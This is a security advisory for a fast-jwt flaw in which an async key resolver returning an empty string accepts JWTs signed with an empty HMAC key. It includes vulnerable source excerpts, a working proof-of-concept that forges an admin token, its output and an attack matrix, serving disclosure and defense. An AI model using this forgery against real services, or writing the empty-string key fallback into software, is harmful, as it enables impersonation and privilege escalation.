Advisory

GHSA-gmvf-9v4p-v8jc

Also known as: CVE-2026-44351

Summary

fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver

Details

Summary

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release [email protected].

Preconditions

For this issue to occur the following MUST ALL be true:

  1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
  2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
  3. The library configuration must allow HMAC signatures. This is the default for the library.
  4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
  5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.

Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}

src/verifier.js async key-resolver flow (lines 429-468):

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)
  } else if (!(currentKey instanceof Buffer)) {
    return callback(... 'string or buffer'...)
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']

    if (validationContext.allowedAlgorithms.length) {
      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
    // → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
    verifyToken(currentKey, decoded, validationContext)
  }
})

src/crypto.js verifySignature (lines 286-291):

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

The bug exists *only* on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC

// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'

function b64url(buf) {
  return Buffer.from(buf).toString('base64')
    .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))

Output on [email protected]:

{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }

— the attacker-chosen payload is returned as authentic.

Attack matrix verified against [email protected]:

| Resolver shape | algorithms option | HS256 | HS384 | HS512 |
|---|---|---|---|---|
| async () => '' | (default) | ✅ accept | ✅ accept | ✅ accept |
| (d, cb) => cb(null, '') | (default) | ✅ accept | ✅ accept | ✅ accept |
| async d => keys[d.header.kid] \|\| '' | (default) | ✅ accept | ✅ accept | ✅ accept |
| async () => '' | ['HS256','HS384','HS512'] | ✅ accept | ✅ accept | ✅ accept |
| async () => '' | ['HS256','RS256'] | ✅ accept | INVALID_ALG | INVALID_ALG |
| async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |

The bug is *only* not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.

Sense checks (also verified against [email protected] to rule out my harness):

  • A token signed with the *real* secret continues to verify correctly. → ACCEPTED.
  • A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. → INVALID_SIGNATURE.
  • The synchronous key: '' (string) configuration is correctly rejected. → MISSING_KEY.

Impact

Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, *and* whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.

Concrete attacker capabilities:

  1. Mint arbitrary JWTs with attacker-chosen sub, admin, roles, scopes, iss, aud, etc.
  2. Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
  3. Default-config exploitable — the caller does not need to misconfigure algorithms. With the default empty array, fast-jwt itself assigns ['HS256','HS384','HS512'] when it sees an empty key.
  4. Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-05-06 22:26 UTC
Modified
2026-05-14 20:49 UTC

Affected packages and fixes

fast-jwt

npm · All systems

Affected

  • introduced 0, fixed 6.2.4 (semver)

Fixed versions

6.2.4

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences